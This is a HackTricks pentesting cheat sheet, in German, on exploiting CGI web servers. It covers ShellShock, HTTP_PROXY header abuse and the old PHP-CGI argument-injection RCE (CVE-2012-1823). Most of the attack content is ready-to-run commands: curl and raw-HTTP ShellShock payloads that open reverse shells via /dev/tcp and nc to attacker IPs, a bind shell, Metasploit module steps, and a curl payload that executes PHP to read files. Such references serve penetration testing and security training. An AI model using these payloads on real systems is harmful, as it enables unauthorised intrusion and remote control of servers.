tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Informationen
Die CGI-Skripte sind Perl-Skripte, daher, wenn Sie einen Server kompromittiert haben, der .cgi Skripte ausführen kann, können Sie eine Perl-Reverse-Shell hochladen (/usr/share/webshells/perl/perl-reverse-shell.pl
), die Erweiterung von .pl in .cgi ändern, Ausführungsberechtigungen (chmod +x
) geben und die Reverse-Shell über den Webbrowser aufrufen, um sie auszuführen. Um nach CGI-Schwachstellen zu suchen, wird empfohlen, nikto -C all
(und alle Plugins) zu verwenden.
ShellShock
ShellShock ist eine Schwachstelle, die die weit verbreitete Bash-Befehlszeilen-Shell in Unix-basierten Betriebssystemen betrifft. Sie zielt auf die Fähigkeit von Bash ab, von Anwendungen übergebene Befehle auszuführen. Die Schwachstelle liegt in der Manipulation von Umgebungsvariablen, die dynamische benannte Werte sind, die beeinflussen, wie Prozesse auf einem Computer ausgeführt werden. Angreifer können dies ausnutzen, indem sie schadhafter Code an Umgebungsvariablen anhängen, der beim Empfang der Variablen ausgeführt wird. Dies ermöglicht es Angreifern, das System potenziell zu kompromittieren.
Durch das Ausnutzen dieser Schwachstelle könnte die Seite einen Fehler ausgeben.
Sie könnten diese Schwachstelle finden, indem Sie feststellen, dass eine alte Apache-Version und cgi_mod (mit cgi-Ordner) verwendet wird oder indem Sie nikto verwenden.
Test
Die meisten Tests basieren darauf, etwas auszugeben und zu erwarten, dass dieser String in der Webantwort zurückgegeben wird. Wenn Sie denken, dass eine Seite anfällig sein könnte, suchen Sie nach allen CGI-Seiten und testen Sie diese.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (reflektiert, blind und out-of-band)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM zu Webserver-Anfragen)
CGI erstellt eine Umgebungsvariable für jeden Header in der HTTP-Anfrage. Zum Beispiel: "host:web.com" wird als "HTTP_HOST"="web.com" erstellt.
Da die HTTP_PROXY-Variable vom Webserver verwendet werden könnte, versuchen Sie, einen Header zu senden, der enthält: "Proxy: <IP_angreifer>:<PORT>" und wenn der Server während der Sitzung eine Anfrage durchführt, können Sie jede vom Server getätigte Anfrage erfassen.
Alte PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)
Grundsätzlich, wenn cgi aktiv ist und php "alt" (<5.3.12 / < 5.4.2) ist, können Sie Code ausführen.
Um diese Schwachstelle auszunutzen, müssen Sie auf eine PHP-Datei des Webservers zugreifen, ohne Parameter zu senden (insbesondere ohne das Zeichen "=").
Um diese Schwachstelle zu testen, könnten Sie beispielsweise auf /index.php?-s
zugreifen (beachten Sie das -s
) und der Quellcode der Anwendung wird in der Antwort angezeigt.
Um RCE zu erhalten, können Sie diese spezielle Abfrage senden: /?-d allow_url_include=1 -d auto_prepend_file=php://input
und den PHP-Code, der im Body der Anfrage ausgeführt werden soll.
Beispiel:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Mehr Informationen über die Schwachstelle und mögliche Exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Beispiel.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.